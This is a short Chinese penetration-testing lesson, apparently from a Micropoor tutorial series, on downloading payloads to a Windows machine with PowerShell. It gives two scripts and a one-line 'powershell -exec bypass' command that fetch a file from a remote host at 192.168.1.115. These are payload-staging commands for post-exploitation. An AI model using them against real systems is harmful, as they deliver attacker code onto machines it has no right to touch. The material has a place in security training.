第四十六课:powershell一句话下载payload

自 Windows7 以后内置了 powershell,如Windows 7 中内置了 PowerShell2.0, Windows 8 中内置了 PowerShell3.0。

down.ps1:

附:

$Urls = @()
$Urls += "http://192.168.1.115/robots.txt"
$OutPath = "E:\PDF\" 
ForEach ( $item in $Urls) {
$file = $OutPath + ($item).split('/')[-1]
(New-Object System.Net.WebClient).DownloadFile($item, $file) 
}

down.ps1:

C:\inetpub>powershell C:\inetpub\down.ps1 注:需要绝对路径。

附:

$url = "http://192.168.1.115/robots.txt"
$output = "C:\inetpub\robots.txt"
$start_time = Get-Date
Invoke-WebRequest -Uri $url -OutFile $output
Write-Output "Time : $((Get-Date).Subtract($start_time).Seconds) second(s)"

当然也可以一句话执行下载:

powershell -exec bypass -c (new-object System.Net.WebClient).DownloadFile('http://192.168.1.115/robots.txt','E:\robots.txt')

Micropoor

Last updated